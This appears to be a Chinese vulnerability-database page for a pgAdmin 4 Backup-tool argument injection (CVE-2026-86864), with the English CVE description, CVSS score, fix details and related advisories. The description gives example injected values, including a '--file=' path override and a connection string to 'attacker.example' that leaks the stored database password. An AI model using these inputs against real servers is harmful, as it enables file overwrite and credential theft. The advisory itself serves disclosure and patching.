目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2026-86864— pgAdmin 4 备份工具参数注入漏洞

一分钟漏洞结论

影响对象
pgadmin.org pgAdmin 4
利用判断
尚无明确在野利用证据,仍需结合暴露面评估
建议动作
优先检查厂商安全公告和参考链接中的修复版本;无法立即升级时,限制受影响服务暴露并加强监测。

pgAdmin 4 的备份工具在 请求中,将客户端提供的 字段未经任何验证,直接作为无修饰的尾随位置参数追加到 的参数向量中。由于 使用 解析选项,而该函数会对参数进行重排,因此以连字符开头的值会被解释为选项而非数据库名称。例如, 这样的值会覆盖 pgAdmin 先前构造的、受存储限制约束的 选项,导致 将输出写入 pgAdmin 进程拥有写权限的任何位置,而不仅仅是用户文件管理器指定的存储目录。这会导致以运行 pgAdmin 的操作系统账户身份创建或覆盖任意文件,从而可能破坏 pgAdmin 自身的配置数据库,并

CVSS 8.8 · High
获取后续新漏洞提醒 登录后订阅

一、 漏洞 CVE-2026-86864 基础信息

漏洞信息

对漏洞内容有疑问?看看神龙的深度分析是否有帮助!
查看神龙十问 ↗

尽管我们使用了先进的大模型技术,但其输出仍可能包含不准确或过时的信息。神龙努力确保数据的准确性,但请您根据实际情况进行核实和判断。

Vulnerability Title
pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
来源: CVE Program / CVE List V5
Vulnerability Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
来源: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
来源: CVE Program / CVE List V5
Vulnerability Type
参数注入或修改
来源: CVE Program / CVE List V5

受影响产品

厂商 产品 影响版本 CPE 订阅
pgadmin.org pgAdmin 4 0 ~ 9.18 -

二、漏洞 CVE-2026-86864 的公开POC

# POC 描述 源链接 神龙链接
AI 生成 POC 高级

未找到公开 POC。

登录以生成 AI POC

三、漏洞 CVE-2026-86864 的情报信息

登录查看更多情报信息。

CVE-2026-86864 邮件列表归档 (1)

同批安全公告 · pgadmin.org · 2026-09-17 · 共 4 条

CVE-2026-86863 9.8 CRITICAL pgAdmin 4 Web服务器身份验证绕过漏洞
CVE-2026-86862 6.5 MEDIUM pgAdmin 4 数据库连接字符串注入漏洞
CVE-2026-86861 5.9 MEDIUM pgAdmin 4 文件管理器符号链接绕过漏洞

IV. Related Vulnerabilities

V. Comments for CVE-2026-86864

暂无评论


发表评论